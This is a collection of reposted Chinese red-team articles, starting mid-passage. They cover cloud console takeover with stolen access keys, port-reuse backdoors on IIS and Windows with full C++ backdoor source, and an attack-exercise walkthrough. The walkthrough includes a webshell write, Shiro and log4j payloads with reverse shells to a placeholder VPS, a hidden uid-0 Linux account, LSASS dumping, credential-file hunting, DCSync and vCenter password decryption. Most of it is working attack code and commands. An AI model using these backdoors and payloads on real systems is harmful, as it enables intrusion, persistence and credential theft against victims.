在线工具 - OKTools 密码竟然是随机生成的。。。这辈子都爆破不出来。。 登录SSO系统 接着通过数据库中的其他库的密码 进入3个系统,图片我就不放了(要打码的东西太多了。。。。)。 0x05 接管云平台前几天才看到的TeamSix师傅的文章,今天正好有现成环境复现,美滋滋。 我用 CF 打穿了他的云上内网 | T Wiki (teamssix.com) CF工具地址: teamssix/cf: Cloud Exploitation Framework 云环境利用框架,方便红队人员在获得 AK 的后续工作 (github.com) cf alibaba ls 查看云资源 1个bucket桶 + 2个OSS资源 + 1个ECS资源 cf alibaba console 添加后门用户接管阿里云控制台 访问控制中看到当前权限为:AdministratorAccess 意味着我们已经拿到了该租户的管理员权限 翻一下 OSS资源以及ECS资源 OSS: ECS: 至此,完事,写报告,收工。 0x06 总结复现了一波AK接管云平台,感觉收获良多,相信云安全这块以后也会成为攻防演练的突破口。 此外,这次的攻击路径有点太过顺利了,不管是发现Shiro框架还是翻配置文件找到RSA密钥对和AK配置信息,我一度以为是蜜罐。。。 番外: 写报告的时候,和队友聊了一下,没想到这个站还是靶标。。。。只能说攻防演练,运气也是很重要的。。。。 原文连接: https://forum.butian.net/share/1854
-
端口复用后门总结
WinRM实现端口复用这种攻击方式前提是需要帐号和密码,如果在获得hash的情况下也可以利用evil-winrm来实现hash登录 服务介绍WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。 后门应用在windows2012服务器中,winrm默认启动,开启了5985端口,在2008系统中需要手动开启服务 winrm quickconfig -q启动后防火墙也会放行该端口 设置启用httplistener监听并存 winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80 winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443 修改监听端口为80/443 winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} winrm set winrm/config/Listener?Address=*+Transport=HTTPS @{Port="443"} 本地连接也需要开启WinRM服务,然后设置信任连接的主机, winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"} winrs -r:http://172.16.142.151:5985 -u:administrator -p:admin123 "whoami" WinRM PTHmac下使用evil-winrm实施pth sudo gem install evil-winrm evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80测试了下复用后也是可以pth连接的。 HTTP.sys端口复用HTTP.sys介绍这种方法的应用场景是针对IIS,HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys 1 当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候,这些应用需要在HTTP.SYS上面注册url prefix ,关于注册URL的规则,可以参考MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx 。这是注册的过程。 2 当一个请求到来并被http.sys获取到,它需要分发这个请求给注册当前url对应的应用,这是路由的过程。 劫持程序实现这样我们可以自己写一个注册url功能的exe,然后根据请求访问url来实现后门功能。 注册代码参考msdn和stackoverflow上的代码: https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio https://docs.microsoft.com/zh-cn/windows/win32/http/http-server-sample-application DWORD DoReceiveRequests(IN HANDLE hReqQueue) { ULONG result; HTTP_REQUEST_ID requestId; DWORD bytesRead; PHTTP_REQUEST pRequest; PCHAR pRequestBuffer; ULONG RequestBufferLength; // // Allocate a 2 KB buffer. This size should work for most // requests. The buffer size can be increased if required. Space // is also required for an HTTP_REQUEST structure. // RequestBufferLength = sizeof(HTTP_REQUEST) + 2048; pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength); if (pRequestBuffer == NULL) { return ERROR_NOT_ENOUGH_MEMORY; } pRequest = (PHTTP_REQUEST)pRequestBuffer; // // Wait for a new request. This is indicated by a NULL // request ID. // HTTP_SET_NULL_ID(&requestId); for (;;) { RtlZeroMemory(pRequest, RequestBufferLength); result = HttpReceiveHttpRequest( hReqQueue, // Req Queue requestId, // Req ID 0, // Flags pRequest, // HTTP request buffer RequestBufferLength,// req buffer length &bytesRead, // bytes received NULL // LPOVERLAPPED ); if (NO_ERROR == result) { DWORD answer = 0; HTTP_SSL_CLIENT_CERT_INFO sslClientCertInfo; ULONG bytesReceived; answer = HttpReceiveClientCertificate(hReqQueue, pRequest->ConnectionId, 0, &sslClientCertInfo, sizeof(HTTP_SSL_CLIENT_CERT_INFO), &bytesReceived, NULL); //注册后等待接收 char* command; char temp[512]; string cmd_temp; strcpy_s(temp, pRequest->pRawUrl); command = temp; command = strstr(command, "cmd="); if (command == NULL) continue; cmd_temp.assign(command); cmd_temp.replace(cmd_temp.find("cmd="), 4, ""); //------------------------------------ uint8* text = (uint8*)cmd_temp.c_str(); uint32 text_len = (uint32)strlen((char*)text); uint8 buffer[1024], buffer2[4096]; uint32 size = base64_decode(text, text_len, buffer); buffer[size] = 0; //------------------------------------ printf("%s", buffer); if (answer != NO_ERROR) { string results; if (cmd_temp.size() == 0) continue; char* tis((char*)buffer); HANDLE hRead, hWrite; CreatePipecmd(tis, hRead, hWrite, results); result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str())); } else { result = SendHttpResponse(hReqQueue, pRequest, 200, "OK", "OK"); } if (result != NO_ERROR) { //break; //if failed to send response, stop listening for further incoming requests } // // Reset the Request ID to handle the next request. // HTTP_SET_NULL_ID(&requestId); } else { // break; } } if (pRequestBuffer) { FREE_MEM(pRequestBuffer); } return result; }HttpReceiveClientCertificate提供客户端为响应服务器的客户端标识请求而颁发的客户端证书字段。 等待访问来源后 截取cmd=后字段内容 char* command; char temp[512]; string cmd_temp; strcpy_s(temp, pRequest->pRawUrl); command = temp; command = strstr(command, "cmd="); if (command == NULL) //防止为空时报错。 continue; cmd_temp.assign(command); cmd_temp.replace(cmd_temp.find("cmd="), 4, "");对传入内容base64解码 uint8* text = (uint8*)cmd_temp.c_str(); uint32 text_len = (uint32)strlen((char*)text); uint8 buffer[1024], buffer2[4096]; uint32 size = base64_decode(text, text_len, buffer); buffer[size] = 0;base64解码函数 #include <stdio.h> #include <string.h> #include <assert.h> typedef unsigned char uint8; typedef unsigned long uint32; static uint8 alphabet_map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; static uint8 reverse_map[] = { 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 255, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255, 255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255 }; uint32 base64_decode(const uint8* code, uint32 code_len, uint8* plain) { assert((code_len & 0x03) == 0); //如果它的条件返回错误,则终止程序执行。4的倍数。 uint32 i, j = 0; uint8 quad[4]; for (i = 0; i < code_len; i += 4) { for (uint32 k = 0; k < 4; k++) { quad[k] = reverse_map[code[i + k]];//分组,每组四个分别依次转换为base64表内的十进制数 } assert(quad[0] < 64 && quad[1] < 64); plain[j++] = (quad[0] << 2) | (quad[1] >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的前2位进行组合 if (quad[2] >= 64) break; else if (quad[3] >= 64) { plain[j++] = (quad[1] << 4) | (quad[2] >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应base64表的十进制数的前4位进行组合 break; } else { plain[j++] = (quad[1] << 4) | (quad[2] >> 2); plain[j++] = (quad[2] << 6) | quad[3];//取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合 } } return j; }命令执行,这里我用的createprocess+命名管道实现命令结果的回传。 string results; if (cmd_temp.size() == 0) continue; char* tis((char*)buffer); HANDLE hRead, hWrite; CreatePipecmd(tis, hRead, hWrite, results); result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));为了防止输入cmd.exe/calc.exe这种造成阻塞,我用sleep 1秒后kill掉进程。 先创建命名管道,将CreateProcess执行结果传入命名管道中,最后Readfile,再将读取内容传给result中。 BOOL KillProcess(DWORD ProcessId) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId); if (hProcess == NULL) return FALSE; if (!TerminateProcess(hProcess, 0)) return FALSE; return TRUE; } char* CreatePipecmd(char* pszCmd, HANDLE& hRead, HANDLE& hWrite, string& result) { SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; HANDLE hCmdRead, hCmdWrite; char buf[2048] = { 0 }; DWORD len; CreatePipe(&hRead, &hCmdWrite, &sa, 0); int nRet = CreatePipe(&hCmdRead, &hWrite, &sa, 0); if (nRet == 0) { //管道创建失败 printf("CreatePipecmd()::CreatePipe() fail!\n"); return NULL; } STARTUPINFO startinfo; //设置cmd启动参数 GetStartupInfo(&startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; startinfo.hStdInput = hCmdRead; startinfo.hStdOutput = hCmdWrite; startinfo.hStdError = hCmdWrite; startinfo.wShowWindow = SW_HIDE; PROCESS_INFORMATION proinfo; //创建cmd进程 nRet = CreateProcess(NULL, pszCmd, NULL, NULL, 1, 0, NULL, NULL, &startinfo, &proinfo); int pid = GetProcessIdOfThread(proinfo.hThread); CloseHandle(hCmdRead); //关闭cmd读写句柄HANDLE CloseHandle(hCmdWrite); CloseHandle(proinfo.hThread); CloseHandle(proinfo.hProcess); if (0 == nRet) { printf("CreatePipecmd()::CreateProcess() fail.\n"); CloseHandle(hRead); CloseHandle(hWrite); result += buf; } Sleep(100); KillProcess(pid); while (ReadFile(hRead, buf, 2047, &len, NULL)) { printf(buf); result += buf; ZeroMemory(buf, 2047); } }实现效果: 可以看到其中最初curl 1111.jsp是返回的404,后面注册url了后可以实现后门功能,而且calc不会造成阻塞,whoami也成功执行,带参数的route print也没有问题,route输出的内容比较多也没有问题。如果希望使用这个上线建议把上线命令写成ps1/bat/vbs,然后再去执行。 普通用户权限实现后门上面介绍的都是在管理员权限使用。在普通用户下如何实现。netsh http show urlacl查看所有urlacl。 找到有一个自带url是everyone的 http_sys_backdoor.exe http://+:80/Temporary_Listen_Addresses/111.jsp 也可以自己手动添加everyone映射。 netsh http add urlacl url=http://+:80/1111.jsp user=everyoneIIS模块劫持实现找了下资料看到3好学生介绍了两个项目,分别是C#和Cpp的实现,就不再重复造轮子了。 C先简单说一下实现原理,在IIS7之后支持了集成模式,区别于之前的ISAPI的形式,可以通过C#编写托管模块处理网站的所有请求,这在IIS6中需要通过非托管代码写ISAPI filter来完成。 利用项目 https://github.com/WBGlIl/IIS_backdoor 整体获取Cookie中的关键字字段来进行执行相关内容和返回结果。如果不匹配相关内容就放过扔给后面程序。 代码说明: https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A 实现效果 使用前提: IIS开启应用程序开发功能。 这里在添加模块处需要注意.net版本。 Cpphttps://github.com/0x09AL/IIS-Raid 利用SO_REUSEADDR和SO_REUSEPORT端口复用查到资料有提过这种思路,当这个api的第三个参数取值设置为SO_REUSEADDR时,套接字端口是可以共享复用的。但是此方法只针对Apache和IIS5.0以下版本有效。 因为在IIS6.0开始微软将网络通信封装在了ring0层,使用http.sys驱动进行通讯,所以针对iis的版本是在6.0以下,但是apache 的效果是可以使用的。 这里有个技巧是如果第一个监听进程是使用管理员/System权限启动得到话,常见:监听0.0.0.0:80,那么我们可以通过管理员权限建立一个127.0.0.1:80/10.10.10.x:80 其他网卡指定ip的监听。 如果使用普通用户实现的第一次监听,那么第二次监听我们可以使用管理员或者普通用户来进行复用。 复用的参考代码可以看:https://xz.aliyun.com/t/1661 //绑定操作 saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); saddr.sin_port = htons(80); if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) { printf("error!socket failed!//n"); return (-1); } //复用操作 if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0) { printf("[!] error!setsockopt failed!//n"); return -1; } if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR) { ret = GetLastError(); printf("[!] error!bind failed!//n"); return -1; } listen(server_sock, 2); while (1) { caddsize = sizeof(scaddr); server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize); if (server_conn != INVALID_SOCKET) { mt = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid); if (mt == NULL) { printf("[!] Thread Creat Failed!//n"); break; } } CloseHandle(mt); } closesocket(server_sock); WSACleanup(); return 0; 最终实现如上图,但是有一点问题就是原文中直接返回的交互cmd,这样会导致正常80访问阻塞。开启监听后如果80有访问的话监听就会给客户端返回个cmd。 后面根据前面那个IIS后门修改了下,可以实现访问和后门相互无影响。 int main() { WSAData wsaData; SOCKET listenSock; // 1st: initial wsadata and socket WSAStartup(MAKEWORD(2, 2), &wsaData); listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); // 设置复用 BOOL val = TRUE; setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val)); // 绑定 sockaddr_in sockaaddr; sockaaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ////可自行更改IP,gethostbyname() sockaaddr.sin_family = AF_INET; sockaaddr.sin_port = htons(80); int ret; ret = bind(listenSock, (struct sockaddr*)&sockaaddr, sizeof(sockaddr)); ret = listen(listenSock, SOMAXCONN); // 监听 int len = sizeof(sockaaddr); SOCKET recvSock; printf("Start Listen......"); recvSock = accept(listenSock, (struct sockaddr*)&sockaaddr, &len); closesocket(listenSock); int iResult = 0,iSendResult = 0; #define DEFAULT_BUF_LEN 512 char caRecvBuf[DEFAULT_BUF_LEN]; do { iResult = recv(recvSock, caRecvBuf, DEFAULT_BUF_LEN, NULL); if (iResult > 0) { printf("Receive %d bytes of data...\n", iResult); string results; char buffer[1024]; char* tis((char*)buffer); HANDLE hRead, hWrite; CreatePipecmd(caRecvBuf, hRead, hWrite, results); char* p = (char*)results.data(); //iSendResult = send(ConnectionSocket, p, sizeof(results), NULL); iSendResult = send(recvSock, p, 2048, NULL); if (iSendResult == SOCKET_ERROR) { printf("fail to call send function\n"); closesocket(recvSock); WSACleanup(); return 1; } printf("Send %d bytes of data...\n", iResult); } else if (iResult == 0) { printf("End sending data\n"); } else { printf("fail to call recv function\n"); closesocket(recvSock); WSACleanup(); return 1; } } while (iResult > 0); iResult = shutdown(recvSock, SD_BOTH); WSACleanup(); return 0; } w3wp.exe利用这个进程是IIS在以服务用户启动的进程,对用户访问网站时都会转到w3wp.exe进程进行处理。 上网冲浪中找到了这个思路,博主在跟api的时候找到了有CreatefileW函数调用所以hook了 原文:https://www.freebuf.com/articles/system/11305.html 代码:https://github.com/zhang5521/Aiwb 我在复现的过程中发现在win7/2008环境下针对w3wp.exe注入dll失败,而且通过apimonitor上也没有找到针对CreateFileW的调用,后来用之前的思路ZWcreatethreadex函数绕过session隔离,注入进程,但是还是失败,dll挂不上,而且将git上的代码编译后也无法在该环境使用。最后终于注意到了日期。估计是针对2003/iis5的环境有使用CreatefileW。这个思路等着其他大哥有环境的去测试下吧。 后来又找到一个针对安全狗这类的安全软件怎么监控IIS执行命令,判断是hook了w3wp.exe的CreateProcess函数。 文章:https://lufe1.cn/2018/07/18/%E5%AE%89%E5%85%A8%E7%8B%97%E7%A6%81%E6%AD%A2iis%E6%89%A7%E8%A1%8C%E6%8E%A2%E7%A9%B6/index.html 文章:https://lufe1.cn/2017/09/17/IIS%E5%91%BD%E4%BB%A4%E7%9B%91%E6%8E%A7/index.html 然后找到了bo主写的代码,本地测试还是不行 win7+iis7 windows2008+ iis8.5 x64都是进程注入失败 自己写的hook也尝试了,注入失败。 不想了,这算是个思路吧, iptables端口转发整体思路就是利用ssh软连接创建一个免密/key登录端口,iptables根据来源ip来分流到ssh服务中,这样后续建立的代理也是比较稳定的,而且是正向代理。 不过需要在实战中注意的是,很多服务器是通过负载ng来实现的,这样iptables的来源ip确认就很有必要了。还有就是很多根据不同路径路由到不同后端服务器的情况,在这种情况下你是无法指定连接正向的目标服务器,这样后面的服务器就无法连接到。 命令: 将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常): iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22这样我们访问目标的80就相当于访问它的22,可以通过添加用户,可以写key,或者软连接后门都可以,达到无缝接入目标内网的目的。 附一句话添加超级用户命令: iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22 useradd -o -u 0 -g 0 ftps && usermod -p abZUy3uRlfJWA ftps //密码为adminxxx. python -c "import crypt;print crypt.crypt('adminxxx.','ab')"https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio https://www.cnblogs.com/-qing-/p/11427512.html 渗透测试-端口复用正向后门 https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E7%AB%AF%E5%8F%A3%E5%85%B1%E4%BA%AB%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99/ 利用IIS的端口共享功能绕过防火墙 https://blog.csdn.net/directionofear/article/details/8155260 C#实现的自定义IIS认证模块 本文转载自: http://8sec.cc/index.php/archives/450/
-
记一次攻防演练实战总结
0x01 外网打点资产发现多测绘平台搜索 https://hunter.qianxin.com/ https://fofa.info/ https://quake.360.cn/ 多语法搜索 假如某个目标站点为xxxx.com ,我们可以通过不同的语法进行资产搜集,搜集的资产会更全面 这里以fofa为例 domain="xxxx.com" host="xxxx.com" header="xxxx.com" cert="xxxx.com" 敏感信息泄露对于学校站点的信息搜集,一般来说外网能拿直接权限的点已经很少了,web应用大多是放在vpn后面,因此能弄到一个vpn账号可以说是事半功倍,这时候可以通过语法对此类信息进行挖掘 常用命令如下: #google语法 site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码 #github *.edu.cn password 在这次攻防演练里,也是幸运找到了某站点VPN的默认口令,使用的是 姓名拼音/12345678 弱口令 默认口令对于部分站点,在搭建完成后可能没有更改默认账号密码,这时候可以尝试使用默认账密登录 下面列举一些常见的web站点默认口令 账号: admin administrator root user test 密码: admin admin123 123456 123 test root 对于一些应用广泛的系统,可以通过google语法搜索其默认密码 这里通过sysadmin/1 成功登入泛微后台 nacos/nacos 常见漏洞利用对于多目标的攻防演练,个人比惯把目标子域url搜集好,去重后批量导进去指纹识别工具,如Goby、fofahub 从指纹识别结果里筛选出重要资产进行突破,使用已知漏洞或day进行攻击 以下为一些批量漏洞利用工具: https://github.com/Anonymous-ghost/AttackWebFrameworkTools-5.0 https://github.com/d3ckx1/Fvuln https://github.com/W01fh4cker/Serein 框架类的如log4j、shiro、struts2等 OA类的如致远、泛微、用友、蓝凌等,这里也是找到了目标的用友nc站点 用友nc写shell 访问接口/servlet/~ic/bsh.servlet.BshServlet执行命令 dnslog探测了一下发现不出网,这里直接写入webshell 1、首先生成一个哥斯拉的jsp木马,然后进行unicode编码 2、再把输出结果进行url编码 3、payload字段如下,这里写入默认路径为 webapps/nc_web ,实战中灵活应变 String keyWord = URLDecoder.decode("xxxxxx(填入生成内容)xxxxxx", "utf-8"); BufferedWriter out = new BufferedWriter(new FileWriter("/webapps/nc\_web/test.jsp")); out.write(keyWord); out.close(); 这里直接写入哥斯拉马,连接成功 shiro无依赖链利用通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是shiro 直接使用shiro_attack_2.2工具开冲,发现有默认key但是无利用链 可能有些人看到这里就放弃了,但这可能会错过一个利用点 shiro可以无依赖链利用,感觉有戏尝试一波,相关知识可拜读师傅的文章https://www.le1a.com/posts/a5f4a9e3 这里换用其他工具 通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试 dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下 这里可以通过网站快速生成payload https://x.hacking8.com/java-runtime.html Linux: java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}" 字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值 nc -lvp 端口 Windows: java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址 java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p" d2hvYW1p为命令的base64,这里是执行命令whoami 0x02 内网渗透杀软识别拿到一台机器后,一般先看一下安装了什么安全防护产品 tasklist /svc 探测了一下发现安装了360,把之前准备好的bypass360马子扔上去,成功上线 隧道搭建ping了一下发现机器出网,可以上frp搭建反向代理隧道 proxifier配置相应的端口账密便可以进入内网 横向思路1、优先拿运维机器,一般存放着大量的账号密码信息 2、其次是集权设备,Vcenter、堡垒机、天擎这些,有day上day,没day寻找其他方法 3、有域的情况下,争取拿到域管hash,或者通过已知漏洞拿下域控 横向移动在扫描之前,可以先通过netspy筛选可达的网段再进行扫描 https://github.com/shmilylty/netspy 接着上fscan对可达各个C段开扫,追求效率可只扫描22、80、443、445、1433、8080等重点端口 由于扫描会引起安全设备告警,因此横向尽可能在一小时内结束,避免入口机器被关机下线,对于拿到的机器可以通过计划任务进行维权,尽可能多拿几台机器保证口子不会掉,拿到机器后继续做信息搜集,网段,机器信息,敏感文件,xshell、navicat密码等常规的这里就不细说了 dump lssas正常没有杀软我们可以通过mimikatz抓取密码 但很多时候mimikatz会被拦截,这时候可以通过一些LOLBINS方法dump出来本地解 这里使用的dump64.exe为白程序,位置位于 C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\ dump64.exe pid c:\\users\\xxx\\Desktop\\out.dmp 测试可过360和火绒 密码复用08机器之前可以抓到明文,抓不到明文可以尝试到cmd5上进行破解,破解率较高 https://www.cmd5.com https://www.somd5.com 获取密码之后可以通过超级弱口令工具进行密码复用爆破,拿着获取的密码重新组合字典,对网段内的机器进行爆破,这次也是成功拿下了几十台机器 若hash解不出来,这时候我们可以根据开放的端口进行PTH,下面列举一些 wmiexec 135端口 psexec 445端口 evil-winrm 5985端口 向日葵读取密码拿到机器的账号密码之后,若机器开启了3389端口可以选择rdp远程桌面过去,没开的话可以开启3389端口进行远程连接 #执行以下命令操作注册表来开启机器3389远程桌面服务 REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG\_DWORD /d 00000000 /f #使用以下命令添加防火墙放行策略 netsh firewall add portopening protocol = TCP port = 3389 name = rdp 但如果是正常办公时间,贸然登录过去会很容易引起对方的发现,若进程中有sunlogin进程,可以读取识别码和验证码,通过向日葵连接相对比较隐蔽 注册表读取配置信息: reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo 向日葵默认配置文件路径: 安装版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini 便携版:C:\\ProgramData\\Oray\\SunloginClient\\config.ini 本机验证码参数:encry\_pwd 本机识别码参数:fastcode(去掉开头字母) sunlogincode:判断用户是否登录状态 读注册表: 读默认配置文件: fastcode去掉前面的数字k为本机识别码278263893 使用脚本进行解密获得本机验证码 运维机横向的时候优先拿运维机,一般运维机存储着大量的账号密码信息,比如这次无意中发现的运维机器使用的是弱口令administrator/111111 另外还可以通过cs插件查看机器历史登录IP对运维人员进行锁定 拿下后可通过命令行快速收集服务器、网络拓扑、密码本、公司信息等重要文件。 dir /a /s /b d:\\" \*.txt" dir /a /s /b d:\\"\* pass \*" dir /a /s /b d:\\"\* login \*" dir /a /s /b d:\\"\* user \*" dir /a /s /b c:\\password.txt dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config dir /a /s /b c:\\conf.\* config.\* dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "拓扑" dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config | findstr "运维" dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "密码" >C:\\Users\\1.txt 最后收集了一堆密码本,可登录到各重要系统: H3C堡垒机 禅道 域控1、通过fscan扫描的时候可以检索AD关键字发现域控 [*]192.168.10.38 #非真实域控ip [->]D1-Prod-AD-P01 [->]192.168.10.38 [*]192.168.10.20 #非真实域控ip [->]AD [->]192.168.10.20 2、域内主机 DNS 一般就是域控地址 接着可以通过该机器是否开放53和389端口进行进一步确认 这次攻防演练的其中一个目标,通过密码复用爆破成功的某台机器里,刚好存在着域管进程,提权到system权限后注入到域管进程,通过Dcsync成功获取域管密码的hash值,其中一个被禁用的账户刚好可以通过cmd5解出,解出明文密码并激活账户,成功登录两台域控机器,除此以外还可以尝试域漏洞、NTLM中继等 net group "domain admins" /domain dcsync domain xxxx shell net user xxxx shell net user xxxx /active:yes /domain Vcenter在扫描的过程中发现几台Vcenter,Vcenter常规有三种打法,分别是 CVE-2021-22005-rce、CVE-2021-21972-rce和log4j 前两个测试没成功,log4j通过dnslog探测漏洞存在,vcenter的漏洞触发点在xff头部 java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1389 -p 8889 -i 0.0.0.0 nc -lvp 9000 ${jndi:ldap://VPSIP:1389/Deserialization/CommonsBeanutils1/ReverseShell/VPSIP/9000} 但一般打完是非交互式shell,没有回显,这里使用命令切换为交互式shell python -c 'import pty;pty.spawn('/bin/bash')' 重置密码 /usr/lib/vmware-vmdir/bin/vdcadmintool 不重置密码获取密码 https://github.com/shmilylty/vhost_password_decrypt #获取vc用户的密码 cat /etc/vmware-vpx/vcdb.properties #把加密后的密码单独拿出来, psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip\_address,user\_name,password from vpx\_host;" > password.enc #改成这种格式\* H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==\* zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==\* Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==\* R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA== #拿解密key cat /etc/vmware-vpx/ssl/symkey.dat Windows:C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\ssl\\symkey.dat Linux:/etc/vmware-vpx/ssl/symkey.dat #破解 python decrypt.py symkey.dat password.enc pass.txt 然后就可以登入web控制台了 云管平台通过运维机的xshell查找历史记录拿下了主备数据库,然后执行sql语句成功获取出了云管平台的hash 到cmd5上进行解密,一块钱拿下云管平台很划算 但某些系统加密方式不是使用md5的,比如之前碰到的一些系统使用的是Bcrypt加密方式,像这种不可逆的加密方式可以通过替换hash进行登录 $2a$10$z0hHT9rltH59VvcazrSzOuVDNr05shwja1aZmD8ctzDbuNNvdpNIS 官网当我们拿到集权设备后,一般里面会有靶标系统或核心系统,这些分数是很高的,这次演练某目标就是通过云管平台登录官网机器,抓取浏览器密码成功获取后台密码,成功拿下官网控制权 gitlab仓库根据评分规则刷完路径分之后,可以根据目标性质找一些核心关键的系统跟裁判battle,像这种存有大量代码的仓库可以作为重大成果进行提交 转载自原文地址:https://forum.butian.net/share/1780
-
《你安全吗》涉及到的技术解读
